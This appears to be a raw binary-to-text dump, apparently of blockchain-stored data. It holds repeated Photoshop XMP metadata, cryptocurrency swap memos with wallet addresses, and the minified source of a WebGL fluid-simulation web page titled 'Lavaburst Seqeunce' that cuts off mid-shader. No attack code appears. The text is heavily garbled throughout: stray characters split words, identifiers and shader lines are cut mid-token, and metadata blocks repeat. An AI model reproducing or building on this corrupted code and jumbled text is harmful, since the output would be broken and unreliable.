ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
Aj?=:ETH.ETH:0x12601D34b1d28C2f245AB6911E3B40f8b6C86073:9470939::0
CjA=:BNB.BNB:bnb1ffqstnpyqpj3xru03tfykyeqk8gj2rrhzfuv7z:2894750:te:0
text/plain;charset=utf-8
.Humans today must first see chaos to avoid it.h!
text/html;charset=utf-8
        <meta charset="utf-8">
        <meta http-equiv="Cache-Control" content="no-cache">
        <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
        <meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">
        <meta name="apple-mobile-web-app-capable" content="yes">
        <meta name="mobile-web-app-capable" content="yes">
        <link rel="apple-touch-icon" href="logo.png">
        <link rel="iM
con" href="logo.png">
        <title>Lavaburst Seqeunce</title>
            @font-face {
                font-family: 'iconfont';
                src: url('iconfont.ttf') format('truetype');
                user-select: none;
            html, body {
                overflow: hidden;
                background-color: #000;
                margin: 0;
                position: fixed;
                width: 100%;
            canvas {
                width: 100%;
                height: 100%;
            window.ga=window.ga||function(){(ga.q=ga.q||[]).push(arguments)};ga.l=+new Date;
            ga('create', 'UA-105392568-1', 'auto');
            ga('send', 'pageview');
        <canvas></canvas>
        <script> //Credit to Pavel Dobyakov for original fluid simulation https://github.com/PavelDM
          'use strict';const canvas=document.getElementsByTagName("canvas")[0];resizeCanvas();let config={SIM_RESOLUTION:256,DYE_RESOLUTION:1024,CAPTURE_RESOLUTION:512,DENSITY_DISSIPATION:1,VELOCITY_DISSIPATION:.2,PRESSURE:.2,PRESSURE_ITERATIONS:20,CURL:30,SPLAT_RADIUS:.25,SPLAT_FORCE:6e3,SHADING:!0,COLORFUL:!0,COLOR_UPDATE_SPEED:.1,PAUSED:!1,BACK_COLOR:{r:0,g:0,b:0},TRANSPARENT:!1,BLOOM:!0,BLOOM_ITERATIONS:8,BLOOM_RESOLUTION:256,BLOOM_INTENSITY:.5,BLOOM_THRESHOLD:.6,BLOOM_SOFT_KNEE:.7,SUNRAYS:!0,SUNRAYS_REM
SOLUTION:196,SUNRAYS_WEIGHT:.7};function pointerPrototype(){this.id=-1,this.texcoordX=0,this.texcoordY=0,this.prevTexcoordX=0,this.prevTexcoordY=0,this.deltaX=0,this.deltaY=0,this.down=!1,this.moved=!1,this.color=[30,0,300]}let currentFrame=0,pointers=[],splatStack=[];pointers.push(new pointerPrototype);let animationPointer=new pointerPrototype,animationHue=.5;const maxFrameSkip=160;let frameSkip=160,splatFrequencyReducing=!0;const splatFrequencyIncrement=.1;let timeSinceSplatFrequencyChange=0;const startingSplatFrM
equency=.42857;let splatFrequency=.42857,timeSinceSplat=0;const{gl,ext}=getWebGLContext(canvas),audioContext=new AudioContext;var droneOscillator=audioContext.createOscillator(),playSound=!1,skippedFirstBeat=!1,audioIsInitialized=!1;isMobile()&&(config.DYE_RESOLUTION=1024),ext.supportLinearFiltering||(config.DYE_RESOLUTION=512,config.SHADING=!1,config.BLOOM=!1,config.SUNRAYS=!1);function getWebGLContext(a){const b={alpha:!0,depth:!1,stencil:!1,antialias:!1,preserveDrawingBuffer:!1};let c=a.getContext("webgl2",b);coM
nst d=!!c;d||(c=a.getContext("webgl",b)||a.getContext("experimental-webgl",b));let e,f;d?(c.getExtension("EXT_color_buffer_float"),f=c.getExtension("OES_texture_float_linear")):(e=c.getExtension("OES_texture_half_float"),f=c.getExtension("OES_texture_half_float_linear")),c.clearColor(0,0,0,1);const g=d?c.HALF_FLOAT:e.HALF_FLOAT_OES;let h,i,j;return d?(h=getSupportedFormat(c,c.RGBA16F,c.RGBA,g),i=getSupportedFormat(c,c.RG16F,c.RG,g),j=getSupportedFormat(c,c.R16F,c.RED,g)):(h=getSupportedFormat(c,c.RGBA,c.RGBA,g),i=gM
etSupportedFormat(c,c.RGBA,c.RGBA,g),j=getSupportedFormat(c,c.RGBA,c.RGBA,g)),ga("send","event",d?"webgl2":"webgl",null==h?"not supported":"supported"),{gl:c,ext:{formatRGBA:h,formatRG:i,formatR:j,halfFloatTexType:g,supportLinearFiltering:f}}}function getSupportedFormat(a,b,c,d){return supportRenderTextureFormat(a,b,c,d)?{internalFormat:b,format:c}:b===a.R16F?getSupportedFormat(a,a.RG16F,a.RG,d):b===a.RG16F?getSupportedFormat(a,a.RGBA16F,a.RGBA,d):null}function supportRenderTextureFormat(a,b,c,d){let e=a.createTextM
ure();a.bindTexture(a.TEXTURE_2D,e),a.texParameteri(a.TEXTURE_2D,a.TEXTURE_MIN_FILTER,a.NEAREST),a.texParameteri(a.TEXTURE_2D,a.TEXTURE_MAG_FILTER,a.NEAREST),a.texParameteri(a.TEXTURE_2D,a.TEXTURE_WRAP_S,a.CLAMP_TO_EDGE),a.texParameteri(a.TEXTURE_2D,a.TEXTURE_WRAP_T,a.CLAMP_TO_EDGE),a.texImage2D(a.TEXTURE_2D,0,b,4,4,0,c,d,null);let f=a.createFramebuffer();a.bindFramebuffer(a.FRAMEBUFFER,f),a.framebufferTexture2D(a.FRAMEBUFFER,a.COLOR_ATTACHMENT0,a.TEXTURE_2D,e,0);let g=a.checkFramebufferStatus(a.FRAMEBUFFER);returnM
 g==a.FRAMEBUFFER_COMPLETE}function isMobile(){return /Mobi|Android/i.test(navigator.userAgent)}function clamp01(a){return Math.min(Math.max(a,0),1)}class Material{constructor(a,b){this.vertexShader=a,this.fragmentShaderSource=b,this.programs=[],this.activeProgram=null,this.uniforms=[]}setKeywords(a){let b=0;for(let c=0;c<a.length;c++)b+=hashCode(a[c]);let c=this.programs[b];if(null==c){let d=compileShader(gl.FRAGMENT_SHADER,this.fragmentShaderSource,a);c=createProgram(this.vertexShader,d),this.programs[b]=c}c==thiM
s.activeProgram||(this.uniforms=getUniforms(c),this.activeProgram=c)}bind(){gl.useProgram(this.activeProgram)}}class Program{constructor(a,b){this.uniforms={},this.program=createProgram(a,b),this.uniforms=getUniforms(this.program)}bind(){gl.useProgram(this.program)}}function createProgram(a,b){let c=gl.createProgram();return gl.attachShader(c,a),gl.attachShader(c,b),gl.linkProgram(c),gl.getProgramParameter(c,gl.LINK_STATUS)||console.trace(gl.getProgramInfoLog(c)),c}function getUniforms(a){let b=[],c=gl.getProgramPaM
rameter(a,gl.ACTIVE_UNIFORMS);for(let d,e=0;e<c;e++)d=gl.getActiveUniform(a,e).name,b[d]=gl.getUniformLocation(a,d);return b}function compileShader(a,b,c){b=addKeywords(b,c);const d=gl.createShader(a);return gl.shaderSource(d,b),gl.compileShader(d),gl.getShaderParameter(d,gl.COMPILE_STATUS)||console.trace(gl.getShaderInfoLog(d)),d}function addKeywords(a,b){if(null==b)return a;let c="";return b.forEach(a=>{c+="#define "+a+"\n"}),c+a}const baseVertexShader=compileShader(gl.VERTEX_SHADER,`
    precision highp float;
    attribute vec2 aPosition;
    varying vec2 vUv;
    varying vec2 vL;
    varying vec2 vR;
    varying vec2 vT;
    varying vec2 vB;
    uniform vec2 texelSize;
        vUv = aPosition * 0.5 + 0.5;
        vL = vUv - vec2(texelSize.x, 0.0);
        vR = vUv + vec2(texelSize.x, 0.0);
        vT = vUv + vec2(0.0, texelSize.y);
        vB = vUv - vec2(0.0, texelSize.y);
        gl_Position = vec4(aPosition, 0.0, 1.0);
`),blurVertexShader=compileShader(gl.VERTEX_SHADER,`
    precision highpM
    attribute vec2 aPosition;
    varying vec2 vUv;
    varying vec2 vL;
    varying vec2 vR;
    uniform vec2 texelSize;
        vUv = aPosition * 0.5 + 0.5;
        float offset = 1.33333333;
        vL = vUv - texelSize * offset;
        vR = vUv + texelSize * offset;
        gl_Position = vec4(aPosition, 0.0, 1.0);
`),blurShader=compileShader(gl.FRAGMENT_SHADER,`
    precision mediump float;
    precision mediump sampler2D;
    varying vec2 vUv;
    varying vec2 vL;
    uniform sampler2D uTexture;
        vec4 sum = texture2D(uTexture, vUv) * 0.29411764;
        sum += texture2D(uTexture, vL) * 0.35294117;
        sum += texture2D(uTexture, vR) * 0.35294117;
        gl_FragColor = sum;
`),copyShader=compileShader(gl.FRAGMENT_SHADER,`
    precision mediump float;
    precision mediump sampler2D;
    varying highp vec2 vUv;
    uniform sampler2D uTexture;
        gl_FragColor = texture2D(uTexture, vUv);
der=compileShader(gl.FRAGMENT_SHADER,`
    precision mediump float;
    precision mediump sampler2D;
    varying highp vec2 vUv;
    uniform sampler2D uTexture;
    uniform float value;
        gl_FragColor = value * texture2D(uTexture, vUv);
`),colorShader=compileShader(gl.FRAGMENT_SHADER,`
    precision mediump float;
    uniform vec4 color;
        gl_FragColor = color;
`),checkerboardShader=compileShader(gl.FRAGMENT_SHADER,`
    precision highp float;
ecision highp sampler2D;
    varying vec2 vUv;
    uniform sampler2D uTexture;
    uniform float aspectRatio;
    #define SCALE 25.0
        vec2 uv = floor(vUv * SCALE * vec2(aspectRatio, 1.0));
        float v = mod(uv.x + uv.y, 2.0);
        v = v * 0.1 + 0.8;
        gl_FragColor = vec4(vec3(v), 1.0);
`),displayShaderSource=`
    precision highp float;
    precision highp sampler2D;
    varying vec2 vUv;
    varying vec2 vL;
    varying vec2 vR;
    varying vec2 vT;
    uniform sampler2D uTexture;
    uniform sampler2D uBloom;
    uniform sampler2D uSunrays;
    uniform sampler2D uDithering;
    uniform vec2 ditherScale;
    uniform vec2 texelSize;
    vec3 linearToGamma (vec3 color) {
        color = max(color, vec3(0));
        return max(1.055 * pow(color, vec3(0.416666667)) - 0.055, vec3(0));
        vec3 c = texture2D(uTexture, vUv).rgb;
        vec3 lc = texture2D(uTexture, vL).rgb;
        vec3 rc = texture2D(uTexture,M
        vec3 tc = texture2D(uTexture, vT).rgb;
        vec3 bc = texture2D(uTexture, vB).rgb;
        float dx = length(rc) - length(lc);
        float dy = length(tc) - length(bc);
        vec3 n = normalize(vec3(dx, dy, length(texelSize)));
        vec3 l = vec3(0.0, 0.0, 1.0);
        float diffuse = clamp(dot(n, l) + 0.7, 0.7, 1.0);
        c *= diffuse;
        vec3 bloom = texture2D(uBloom, vUv).rgb;
        float sunrays = texture2D(uSuM
        c *= sunrays;
        bloom *= sunrays;
        float noise = texture2D(uDithering, vUv * ditherScale).r;
        noise = noise * 2.0 - 1.0;
        bloom += noise / 255.0;
        bloom = linearToGamma(bloom);
        float a = max(c.r, max(c.g, c.b));
        gl_FragColor = vec4(c, a);
`,bloomPrefilterShader=compileShader(gl.FRAGMENT_SHADER,`
    precision mediump float;
    precision mediump sampM
    varying vec2 vUv;
    uniform sampler2D uTexture;
    uniform vec3 curve;
    uniform float threshold;
        vec3 c = texture2D(uTexture, vUv).rgb;
        float br = max(c.r, max(c.g, c.b));
        float rq = clamp(br - curve.x, 0.0, curve.y);
        rq = curve.z * rq * rq;
        c *= max(rq, br - threshold) / max(br, 0.0001);
        gl_FragColor = vec4(c, 0.0);
`),bloomBlurShader=compileShader(gl.FRAGMENT_SHADER,`
    precision mediump float;
    precision mediump sampM
    varying vec2 vL;
    varying vec2 vR;
    varying vec2 vT;
    varying vec2 vB;
    uniform sampler2D uTexture;
        vec4 sum = vec4(0.0);
        sum += texture2D(uTexture, vL);
        sum += texture2D(uTexture, vR);
        sum += texture2D(uTexture, vT);
        sum += texture2D(uTexture, vB);
